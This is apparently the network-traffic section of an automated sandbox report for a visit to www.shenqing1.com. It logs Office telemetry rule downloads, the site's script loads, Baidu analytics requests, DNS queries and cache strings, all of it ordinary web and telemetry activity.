Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common.js HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.shenqing1.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.shenqing1.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common.js HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /push.js HTTP/1.1Host: push.zhanzhang.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.shenqing1.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /push.js HTTP/1.1Host: push.zhanzhang.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s.gif?l=http://www.shenqing1.com/ HTTP/1.1Host: api.share.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.shenqing1.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.shenqing1.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: Hm_lvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; Hm_lpvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; HMACCOUNT=436E3B5EE945DDD8; Hm_tf_d94f3xexzei=1733111881; Hm_lvt_d94f3xexzei=1733111881; Hm_lpvt_d94f3xexzei=1733111881
Source: global traffic	HTTP traffic detected: GET /s.gif?l=http://www.shenqing1.com/ HTTP/1.1Host: api.share.baidu.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.shenqing1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: Hm_lvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; Hm_lpvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; HMACCOUNT=436E3B5EE945DDD8; Hm_tf_d94f3xexzei=1733111881; Hm_lvt_d94f3xexzei=1733111881; Hm_lpvt_d94f3xexzei=1733111881

Source: global traffic	DNS traffic detected: DNS query: www.shenqing1.com
Source: global traffic	DNS traffic detected: DNS query: hm.baidu.com
Source: global traffic	DNS traffic detected: DNS query: node22.aizhantj.com
Source: global traffic	DNS traffic detected: DNS query: _21233._https.node22.aizhantj.com
Source: global traffic	DNS traffic detected: DNS query: push.zhanzhang.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.share.baidu.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: chromecache_255.5.dr	String found in binary or memory: http://tongji.baidu.com/hm-web/welcome/ico
Source: chromecache_255.5.dr	String found in binary or memory: https://fclog.baidu.com/log/ocpcagl?type=behavior&emd=euc
Source: chromecache_255.5.dr	String found in binary or memory: https://goutong.baidu.com/site/
Source: chromecache_253.5.dr, chromecache_250.5.dr	String found in binary or memory: https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804
Source: chromecache_253.5.dr, chromecache_250.5.dr	String found in binary or memory: https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333
Source: chromecache_255.5.dr	String found in binary or memory: https://hmcdn.baidu.com/static
Source: chromecache_255.5.dr	String found in binary or memory: https://hmcdn.baidu.com/static/tongji/plugins/
Source: chromecache_253.5.dr, chromecache_250.5.dr	String found in binary or memory: https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
